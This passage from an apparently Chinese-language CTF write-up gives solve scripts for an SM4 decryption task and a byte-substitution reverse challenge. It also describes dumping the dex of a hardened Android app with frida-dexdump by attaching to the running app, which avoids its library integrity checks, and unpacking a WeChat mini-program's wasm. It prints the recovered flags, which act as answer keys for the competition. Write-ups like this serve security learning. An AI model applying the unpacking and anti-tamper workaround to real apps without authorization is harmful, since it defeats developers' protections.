class="number">0x1A</span>, <span class="number">0x71</span>, <span class="number">0x1D</span>, <span class="number">0x29</span>, <span class="number">0xC5</span>, <span class="number">0x89</span>, <span class="number">0x6F</span>, <span class="number">0xB7</span>,</span><br><span class="line">        <span class="number">0x62</span>, <span class="number">0x0E</span>, <span class="number">0xAA</span>, <span class="number">0x18</span>, <span class="number">0xBE</span>, <span class="number">0x1B</span>, <span class="number">0xFC</span>, <span class="number">0x56</span>, <span class="number">0x36</span>, <span class="number">0x24</span>, <span class="number">0x07</span>, <span class="number">0x82</span>, <span class="number">0xFA</span>, <span class="number">0x54</span>, <span class="number">0x5B</span>, <span class="number">0x40</span>,</span><br><span class="line">        <span class="number">0x8F</span>, <span class="number">0xED</span>, <span class="number">0x1F</span>, <span class="number">0xDA</span>, <span class="number">0x93</span>, <span class="number">0x80</span>, <span class="number">0xF9</span>, <span class="number">0x61</span>, <span class="number">0x1C</span>, <span class="number">0x70</span>, <span class="number">0xC3</span>, <span class="number">0x85</span>, <span class="number">0x95</span>, <span class="number">0xA9</span>, <span class="number">0x79</span>, <span class="number">0x08</span>,</span><br><span class="line">        <span class="number">0x46</span>, <span class="number">0x29</span>, <span class="number">0x02</span>, <span class="number">0x3B</span>, <span class="number">0x4D</span>, <span class="number">0x83</span>, <span class="number">0x3A</span>, <span class="number">0x0A</span>, <span class="number">0x49</span>, <span class="number">0x06</span>, <span class="number">0x24</span>, <span class="number">0x1A</span>, <span class="number">0x47</span>, <span class="number">0x5C</span>, <span class="number">0x0D</span>, <span class="number">0xEA</span>,</span><br><span class="line">        <span class="number">0x9E</span>, <span class="number">0xCB</span>, <span class="number">0x55</span>, <span class="number">0x20</span>, <span class="number">0x15</span>, <span class="number">0x8A</span>, <span class="number">0x9A</span>, <span class="number">0xCB</span>, <span class="number">0x43</span>, <span class="number">0x0C</span>, <span class="number">0xF0</span>, <span class="number">0x0B</span>, <span class="number">0x40</span>, <span class="number">0x58</span>, <span class="number">0x00</span>, <span class="number">0x8F</span>,</span><br><span class="line">        <span class="number">0xEB</span>, <span class="number">0xBE</span>, <span class="number">0x3D</span>, <span class="number">0xC2</span>, <span class="number">0x9F</span>, <span class="number">0x51</span>, <span class="number">0xFA</span>, <span class="number">0x13</span>, <span class="number">0x3B</span>, <span class="number">0x0D</span>, <span class="number">0x90</span>, <span class="number">0x5B</span>, <span class="number">0x6E</span>, <span class="number">0x45</span>, <span class="number">0x59</span>, <span class="number">0x33</span></span><br><span class="line">    ]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, key: <span class="built_in">bytes</span></span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(key) != <span class="number">16</span>:</span><br><span class="line">            <span class="keyword">raise</span> ValueError(<span class="string">&quot;Key must be 16 bytes long.&quot;</span>)</span><br><span class="line">        self.sk = [<span class="number">0</span>] * <span class="number">32</span></span><br><span class="line">        self._set_key(key)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_rotl</span>(<span class="params">self, x, n</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;32位循环左移&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">return</span> ((x &lt;&lt; n) &amp; <span class="number">0xFFFFFFFF</span>) | ((x &gt;&gt; (<span class="number">32</span> - n)) &amp; <span class="number">0xFFFFFFFF</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_S</span>(<span class="params">self, x</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;S盒变换&quot;&quot;&quot;</span></span><br><span class="line">        b1 = (x &gt;&gt; <span class="number">24</span>) &amp; <span class="number">0xFF</span></span><br><span class="line">        b2 = (x &gt;&gt; <span class="number">16</span>) &amp; <span class="number">0xFF</span></span><br><span class="line">        b3 = (x &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFF</span></span><br><span class="line">        b4 = x &amp; <span class="number">0xFF</span></span><br><span class="line">        <span class="keyword">return</span> (self.SboxTable[b1] &lt;&lt; <span class="number">24</span> |</span><br><span class="line">                self.SboxTable[b2] &lt;&lt; <span class="number">16</span> |</span><br><span class="line">                self.SboxTable[b3] &lt;&lt; <span class="number">8</span> |</span><br><span class="line">                self.SboxTable[b4])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_L</span>(<span class="params">self, x</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;线性变换L&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">return</span> (x ^ self._rotl(x, <span class="number">2</span>) ^ self._rotl(x, <span class="number">10</span>) ^</span><br><span class="line">                self._rotl(x, <span class="number">18</span>) ^ self._rotl(x, <span class="number">24</span>))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_T</span>(<span class="params">self, x</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;合成变换T&quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">return</span> self._L(self._S(x))</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_CKF</span>(<span class="params">self, a, b, c, ck</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        模拟PHP代码中非标准的密钥扩展函数CKF</span></span><br><span class="line"><span class="string">        原始PHP代码: $a ^ $this-&gt;T($b ^ $c ^ $ck)</span></span><br><span class="line"><span class="string">        正确的SM4标准应为: T(a ^ b ^ c ^ ck)</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">return</span> a ^ self._T(b ^ c ^ ck)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_set_key</span>(<span class="params">self, key: <span class="built_in">bytes</span></span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot;密钥扩展算法，完全模拟PHP代码的逻辑&quot;&quot;&quot;</span></span><br><span class="line">        mk = <span class="built_in">list</span>(struct.unpack(<span class="string">&#x27;&gt;4I&#x27;</span>, key))</span><br><span class="line">        k = [<span class="number">0</span>] * <span class="number">36</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">            k[i] = mk[i] ^ self.FK[i]</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>):</span><br><span class="line">            <span class="comment"># 关键：完全复现PHP代码中的密钥扩展逻辑</span></span><br><span class="line">            <span class="comment"># k[i+4] = k[i] ^ CKF(k[i+1], k[i+2], k[i+3], CK[i])</span></span><br><span class="line">            k[i + <span class="number">4</span>] = k[i] ^ self._CKF(k[i + <span class="number">1</span>], k[i + <span class="number">2</span>], k[i + <span class="number">3</span>], self.CK[i])</span><br><span class="line">            self.sk[i] = k[i + <span class="number">4</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_crypt_block</span>(<span class="params">self, block: <span class="built_in">bytes</span>, is_decrypt: <span class="built_in">bool</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;对单个16字节块进行加密或解密&quot;&quot;&quot;</span></span><br><span class="line">        x = <span class="built_in">list</span>(struct.unpack(<span class="string">&#x27;&gt;4I&#x27;</span>, block))</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 解密时使用反向的轮密钥</span></span><br><span class="line">        round_keys = self.sk[::-<span class="number">1</span>] <span class="keyword">if</span> is_decrypt <span class="keyword">else</span> self.sk</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>):</span><br><span class="line">            <span class="comment"># 轮函数 F</span></span><br><span class="line">            f_out = self._T(x[<span class="number">1</span>] ^ x[<span class="number">2</span>] ^ x[<span class="number">3</span>] ^ round_keys[i])</span><br><span class="line">            x_next = x[<span class="number">0</span>] ^ f_out</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 状态更新</span></span><br><span class="line">            x[<span class="number">0</span>], x[<span class="number">1</span>], x[<span class="number">2</span>], x[<span class="number">3</span>] = x[<span class="number">1</span>], x[<span class="number">2</span>], x[<span class="number">3</span>], x_next</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 反序变换</span></span><br><span class="line">        x.reverse()</span><br><span class="line">        <span class="keyword">return</span> struct.pack(<span class="string">&#x27;&gt;4I&#x27;</span>, *x)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_unpad</span>(<span class="params">self, data: <span class="built_in">bytes</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;PKCS#7去填充&quot;&quot;&quot;</span></span><br><span class="line">        pad_len = data[-<span class="number">1</span>]</span><br><span class="line">        <span class="keyword">if</span> pad_len &gt; <span class="number">16</span> <span class="keyword">or</span> pad_len == <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> data <span class="comment"># 无效的填充长度</span></span><br><span class="line">        </span><br><span class="line">        padding = data[-pad_len:]</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">any</span>(p != pad_len <span class="keyword">for</span> p <span class="keyword">in</span> padding):</span><br><span class="line">            <span class="keyword">return</span> data <span class="comment"># 填充字节不一致</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> data[:-pad_len]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">self, ciphertext_b64: <span class="built_in">str</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">        <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">        解密一个Base64编码的密文</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            ciphertext_bytes = base64.b64decode(ciphertext_b64)</span><br><span class="line">        <span class="keyword">except</span> (ValueError, TypeError):</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;Error: Invalid Base64 string.&quot;</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(ciphertext_bytes) % <span class="number">16</span> != <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;Error: Ciphertext length is not a multiple of 16.&quot;</span></span><br><span class="line">        </span><br><span class="line">        decrypted_data = <span class="string">b&quot;&quot;</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(ciphertext_bytes), <span class="number">16</span>):</span><br><span class="line">            block = ciphertext_bytes[i:i+<span class="number">16</span>]</span><br><span class="line">            decrypted_data += self._crypt_block(block, is_decrypt=<span class="literal">True</span>)</span><br><span class="line">            </span><br><span class="line">        <span class="comment"># 去除填充并解码为UTF-8字符串</span></span><br><span class="line">        unpadded_data = self._unpad(decrypted_data)</span><br><span class="line">        <span class="keyword">return</span> unpadded_data.decode(<span class="string">&#x27;utf-8&#x27;</span>, errors=<span class="string">&#x27;ignore&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># --- 主程序 ---</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># 从PHP代码中获取的密钥和密文</span></span><br><span class="line">    key_str = <span class="string">&quot;a8a58b78f41eeb6a&quot;</span></span><br><span class="line">    ciphertext_b64 = <span class="string">&quot;VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;待解密的密文 (Base64): <span class="subst">&#123;ciphertext_b64&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;使用的密钥: <span class="subst">&#123;key_str&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span> * <span class="number">30</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 将密钥转换为bytes</span></span><br><span class="line">    key_bytes = key_str.encode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 创建SM4解密器实例</span></span><br><span class="line">    sm4_decoder = SM4(key_bytes)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 执行解密</span></span><br><span class="line">    flag = sm4_decoder.decrypt(ciphertext_b64)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;解密得到的 Flag: <span class="subst">&#123;flag&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&gt; python .\gsolve.py</span><br><span class="line">待解密的密文 (Base64): VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu</span><br><span class="line">使用的密钥: a8a58b78f41eeb6a</span><br><span class="line">------------------------------</span><br><span class="line">解密得到的 Flag: flag&#123;1ac380d6-5820-4e1a-b40e-ddf1789f6b0d&#125;</span><br></pre></td></tr></table></figure><h1 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h1><h2 id="hardtest"><a href="#hardtest" class="headerlink" title="hardtest"></a>hardtest</h2><p>定位到 main 函数</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/df24e714-cc15-4c68-a261-4490eeaafa82-1758298447158-12.png"></p><p>找到几个关键加密函数</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/c911a8f9-6a8c-4649-a813-26d7a3652935-1758298447158-13.png"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/70c5964c-a93c-4ed2-9e61-dec5cd423fd4-1758298447158-14.png"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/6c7eec13-4e83-459d-b293-64961fbc413e-1758298447158-15.png"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/b77bdad5-c0e5-4a6a-acf6-0430b53b342a-1758298447158-16.png"></p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/bd59d815-1439-439a-9fb8-a0cfb04e0177-1758298447158-17.png"></p><p>写一个解密脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">ROL</span>(<span class="params">data, shift, size=<span class="number">8</span></span>):</span><br><span class="line">    shift %= size</span><br><span class="line">    <span class="keyword">return</span> ((data &lt;&lt; shift) | (data &gt;&gt; (size - shift))) &amp; ((<span class="number">1</span> &lt;&lt; size) - <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ROR</span>(<span class="params">data, shift, size=<span class="number">8</span></span>):</span><br><span class="line">    shift %= size</span><br><span class="line">    <span class="keyword">return</span> ((data &gt;&gt; shift) | (data &lt;&lt; (size - shift))) &amp; ((<span class="number">1</span> &lt;&lt; size) - <span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># byte_2020 array (256 bytes)</span></span><br><span class="line">byte_2020 = [</span><br><span class="line">    <span class="number">0x63</span>, <span class="number">0x7C</span>, <span class="number">0x77</span>, <span class="number">0x7B</span>, <span class="number">0xF2</span>, <span class="number">0x6B</span>, <span class="number">0x6F</span>, <span class="number">0xC5</span>, <span class="number">0x30</span>, <span class="number">0x01</span>, <span class="number">0x67</span>, <span class="number">0x2B</span>, <span class="number">0xFE</span>, <span class="number">0xD7</span>, <span class="number">0xAB</span>, <span class="number">0x76</span>,</span><br><span class="line">    <span class="number">0xCA</span>, <span class="number">0x82</span>, <span class="number">0xC9</span>, <span class="number">0x7D</span>, <span class="number">0xFA</span>, <span class="number">0x59</span>, <span class="number">0x47</span>, <span class="number">0xF0</span>, <span class="number">0xAD</span>, <span class="number">0xD4</span>, <span class="number">0xA2</span>, <span class="number">0xAF</span>, <span class="number">0x9C</span>, <span class="number">0xA4</span>, <span class="number">0x72</span>, <span class="number">0xC0</span>,</span><br><span class="line">    <span class="number">0xB7</span>, <span class="number">0xFD</span>, <span class="number">0x93</span>, <span class="number">0x26</span>, <span class="number">0x36</span>, <span class="number">0x3F</span>, <span class="number">0xF7</span>, <span class="number">0xCC</span>, <span class="number">0x34</span>, <span class="number">0xA5</span>, <span class="number">0xE5</span>, <span class="number">0xF1</span>, <span class="number">0x71</span>, <span class="number">0xD8</span>, <span class="number">0x31</span>, <span class="number">0x15</span>,</span><br><span class="line">    <span class="number">0x04</span>, <span class="number">0xC7</span>, <span class="number">0x23</span>, <span class="number">0xC3</span>, <span class="number">0x18</span>, <span class="number">0x96</span>, <span class="number">0x05</span>, <span class="number">0x9A</span>, <span class="number">0x07</span>, <span class="number">0x12</span>, <span class="number">0x80</span>, <span class="number">0xE2</span>, <span class="number">0xEB</span>, <span class="number">0x27</span>, <span class="number">0xB2</span>, <span class="number">0x75</span>,</span><br><span class="line">    <span class="number">0x09</span>, <span class="number">0x83</span>, <span class="number">0x2C</span>, <span class="number">0x1A</span>, <span class="number">0x1B</span>, <span class="number">0x6E</span>, <span class="number">0x5A</span>, <span class="number">0xA0</span>, <span class="number">0x52</span>, <span class="number">0x3B</span>, <span class="number">0xD6</span>, <span class="number">0xB3</span>, <span class="number">0x29</span>, <span class="number">0xE3</span>, <span class="number">0x2F</span>, <span class="number">0x84</span>,</span><br><span class="line">    <span class="number">0x53</span>, <span class="number">0xD1</span>, <span class="number">0x00</span>, <span class="number">0xED</span>, <span class="number">0x20</span>, <span class="number">0xFC</span>, <span class="number">0xB1</span>, <span class="number">0x5B</span>, <span class="number">0x6A</span>, <span class="number">0xCB</span>, <span class="number">0xBE</span>, <span class="number">0x39</span>, <span class="number">0x4A</span>, <span class="number">0x4C</span>, <span class="number">0x58</span>, <span class="number">0xCF</span>,</span><br><span class="line">    <span class="number">0xD0</span>, <span class="number">0xEF</span>, <span class="number">0xAA</span>, <span class="number">0xFB</span>, <span class="number">0x43</span>, <span class="number">0x4D</span>, <span class="number">0x33</span>, <span class="number">0x85</span>, <span class="number">0x45</span>, <span class="number">0xF9</span>, <span class="number">0x02</span>, <span class="number">0x7F</span>, <span class="number">0x50</span>, <span class="number">0x3C</span>, <span class="number">0x9F</span>, <span class="number">0xA8</span>,</span><br><span class="line">    <span class="number">0x51</span>, <span class="number">0xA3</span>, <span class="number">0x40</span>, <span class="number">0x8F</span>, <span class="number">0x92</span>, <span class="number">0x9D</span>, <span class="number">0x38</span>, <span class="number">0xF5</span>, <span class="number">0xBC</span>, <span class="number">0xB6</span>, <span class="number">0xDA</span>, <span class="number">0x21</span>, <span class="number">0x10</span>, <span class="number">0xFF</span>, <span class="number">0xF3</span>, <span class="number">0xD2</span>,</span><br><span class="line">    <span class="number">0xCD</span>, <span class="number">0x0C</span>, <span class="number">0x13</span>, <span class="number">0xEC</span>, <span class="number">0x5F</span>, <span class="number">0x97</span>, <span class="number">0x44</span>, <span class="number">0x17</span>, <span class="number">0xC4</span>, <span class="number">0xA7</span>, <span class="number">0x7E</span>, <span class="number">0x3D</span>, <span class="number">0x64</span>, <span class="number">0x5D</span>, <span class="number">0x19</span>, <span class="number">0x73</span>,</span><br><span class="line">    <span class="number">0x60</span>, <span class="number">0x81</span>, <span class="number">0x4F</span>, <span class="number">0xDC</span>, <span class="number">0x22</span>, <span class="number">0x2A</span>, <span class="number">0x90</span>, <span class="number">0x88</span>, <span class="number">0x46</span>, <span class="number">0xEE</span>, <span class="number">0xB8</span>, <span class="number">0x14</span>, <span class="number">0xDE</span>, <span class="number">0x5E</span>, <span class="number">0x0B</span>, <span class="number">0xDB</span>,</span><br><span class="line">    <span class="number">0xE0</span>, <span class="number">0x32</span>, <span class="number">0x3A</span>, <span class="number">0x0A</span>, <span class="number">0x49</span>, <span class="number">0x06</span>, <span class="number">0x24</span>, <span class="number">0x5C</span>, <span class="number">0xC2</span>, <span class="number">0xD3</span>, <span class="number">0xAC</span>, <span class="number">0x62</span>, <span class="number">0x91</span>, <span class="number">0x95</span>, <span class="number">0xE4</span>, <span class="number">0x79</span>,</span><br><span class="line">    <span class="number">0xE7</span>, <span class="number">0xC8</span>, <span class="number">0x37</span>, <span class="number">0x6D</span>, <span class="number">0x8D</span>, <span class="number">0xD5</span>, <span class="number">0x4E</span>, <span class="number">0xA9</span>, <span class="number">0x6C</span>, <span class="number">0x56</span>, <span class="number">0xF4</span>, <span class="number">0xEA</span>, <span class="number">0x65</span>, <span class="number">0x7A</span>, <span class="number">0xAE</span>, <span class="number">0x08</span>,</span><br><span class="line">    <span class="number">0xBA</span>, <span class="number">0x78</span>, <span class="number">0x25</span>, <span class="number">0x2E</span>, <span class="number">0x1C</span>, <span class="number">0xA6</span>, <span class="number">0xB4</span>, <span class="number">0xC6</span>, <span class="number">0xE8</span>, <span class="number">0xDD</span>, <span class="number">0x74</span>, <span class="number">0x1F</span>, <span class="number">0x4B</span>, <span class="number">0xBD</span>, <span class="number">0x8B</span>, <span class="number">0x8A</span>,</span><br><span class="line">    <span class="number">0x70</span>, <span class="number">0x3E</span>, <span class="number">0xB5</span>, <span class="number">0x66</span>, <span class="number">0x48</span>, <span class="number">0x03</span>, <span class="number">0xF6</span>, <span class="number">0x0E</span>, <span class="number">0x61</span>, <span class="number">0x35</span>, <span class="number">0x57</span>, <span class="number">0xB9</span>, <span class="number">0x86</span>, <span class="number">0xC1</span>, <span class="number">0x1D</span>, <span class="number">0x9E</span>,</span><br><span class="line">    <span class="number">0xE1</span>, <span class="number">0xF8</span>, <span class="number">0x98</span>, <span class="number">0x11</span>, <span class="number">0x69</span>, <span class="number">0xD9</span>, <span class="number">0x8E</span>, <span class="number">0x94</span>, <span class="number">0x9B</span>, <span class="number">0x1E</span>, <span class="number">0x87</span>, <span class="number">0xE9</span>, <span class="number">0xCE</span>, <span class="number">0x55</span>, <span class="number">0x28</span>, <span class="number">0xDF</span>,</span><br><span class="line">    <span class="number">0x8C</span>, <span class="number">0xA1</span>, <span class="number">0x89</span>, <span class="number">0x0D</span>, <span class="number">0xBF</span>, <span class="number">0xE6</span>, <span class="number">0x42</span>, <span class="number">0x68</span>, <span class="number">0x41</span>, <span class="number">0x99</span>, <span class="number">0x2D</span>, <span class="number">0x0F</span>, <span class="number">0xB0</span>, <span class="number">0x54</span>, <span class="number">0xBB</span>, <span class="number">0x16</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="comment"># byte_2120 array (24 bytes)</span></span><br><span class="line">byte_2120 = [</span><br><span class="line">    <span class="number">0x97</span>, <span class="number">0xD5</span>, <span class="number">0x60</span>, <span class="number">0x43</span>, <span class="number">0xB4</span>, <span class="number">0x10</span>, <span class="number">0x43</span>, <span class="number">0x73</span>, <span class="number">0x0F</span>, <span class="number">0xDA</span>, <span class="number">0x43</span>, <span class="number">0xCD</span>, <span class="number">0xD3</span>, <span class="number">0xE8</span>, <span class="number">0x73</span>, <span class="number">0x4A</span>,</span><br><span class="line">    <span class="number">0x94</span>, <span class="number">0xC3</span>, <span class="number">0xCD</span>, <span class="number">0x71</span>, <span class="number">0xBD</span>, <span class="number">0xDC</span>, <span class="number">0x97</span>, <span class="number">0x1A</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">flag_bytes = []</span><br><span class="line"><span class="keyword">for</span> i, c <span class="keyword">in</span> <span class="built_in">enumerate</span>(byte_2120):</span><br><span class="line">    <span class="comment"># Step 1: Find index i0 in byte_2020 where byte_2020[i0] == c</span></span><br><span class="line">    i0 = byte_2020.index(c)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Step 2: v3 = ROL(i0, 2)</span></span><br><span class="line">    v3 = ROL(i0, <span class="number">2</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Step 3: Compute y = v3^&#123;-1&#125; mod 257</span></span><br><span class="line">    <span class="keyword">if</span> v3 == <span class="number">0</span>:</span><br><span class="line">        y = <span class="number">0</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        y = <span class="built_in">pow</span>(v3, <span class="number">255</span>, <span class="number">257</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Step 4: Extract high and low nibbles from y</span></span><br><span class="line">    a_high = (y &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0xF</span></span><br><span class="line">    b_low = y &amp; <span class="number">0xF</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Step 5: Reverse linear transformation</span></span><br><span class="line">    a_orig = (a_high * <span class="number">11</span>) % <span class="number">16</span></span><br><span class="line">    b_orig = (b_low * <span class="number">13</span>) % <span class="number">16</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Step 6: Combine into v1</span></span><br><span class="line">    v1 = (a_orig &lt;&lt; <span class="number">4</span>) | b_orig</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Step 7: Compute x = ROR(v1, 3) ^ 0x5A</span></span><br><span class="line">    x = ROR(v1, <span class="number">3</span>) ^ <span class="number">0x5A</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># Step 8: Reverse pre-processing: k = (i % 7) + 1, then s_i = ROR(x, k)</span></span><br><span class="line">    k = (i % <span class="number">7</span>) + <span class="number">1</span></span><br><span class="line">    s_i = ROR(x, k)</span><br><span class="line">    flag_bytes.append(s_i)</span><br><span class="line"></span><br><span class="line">flag = <span class="string">&#x27;&#x27;</span>.join(<span class="built_in">chr</span>(b) <span class="keyword">for</span> b <span class="keyword">in</span> flag_bytes)</span><br><span class="line"><span class="built_in">print</span>(flag)</span><br></pre></td></tr></table></figure><h2 id="strangeapp"><a href="#strangeapp" class="headerlink" title="strangeapp"></a>strangeapp</h2><p>尝试用dexdump，redmi k50 以及 pixel6 A14都跑不起不来, 分析了一下app的so发现是自定义linker加固, 盲猜是写死了linker的偏移导致app在其他Android版本的设备运行会崩溃</p><p>题目测试环境：pixel 4a android11</p><p>使用Android Studio的模拟器配置相同环境跑起来后，用 <a href="https://github.com/hluwa/frida-dexdump">https://github.com/hluwa/frida-dexdump</a> 提取运行时的dex, app在启动时对 libc art等系统库有校验, 不能用spawn模式启动, 用 -n 选项attach上去dump就行了</p><p>dex脱壳，dump下来</p><p>在classes06.dex中得到逻辑</p><p>AES加密直接解即可得 <code>flag&#123;just_easy_strange_app_right?&#125;</code></p><h2 id="Minigame"><a href="#Minigame" class="headerlink" title="Minigame"></a>Minigame</h2><p>微信小程序，用这个脚本解压一下</p><p><a href="https://gist.github.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad">https://gist.github.com/Integ/bcac5c21de5ea35b63b3db2c725f07ad</a></p><p>解压后 utils 文件夹内有 validator.wasm，丢进 IDA</p><p>发现 DATA 段数据</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">data:00FE                 db 0x26 ; &amp;</span><br><span class="line">data:00FF data_0:         db 0xFF, 0xF5, 0xF8, 0xFE, 0xE2, 0xFF, 0xF8, 0xFC, 0xA9</span><br><span class="line">data:0108                 db 0xFB, 0xAB, 0xAE, 0xFA, 0xAD, 0xAC, 0xA8, 0xFA, 0xAE</span><br><span class="line">data:0111                 db 0xAB, 2 dup(0xA1), 0xAF, 0xAE, 0xF8, 0xAC, 0xAF, 0xAE</span><br><span class="line">data:011A                 db 0xFC, 0xA1, 0xFA, 0xA8, 2 dup(0xFB), 0xAD, 0xFC, 0xAC</span><br><span class="line">data:0123                 db 0xAA, 0xE4</span><br><span class="line">data:0123 ; end of &#x27;data&#x27;</span><br><span 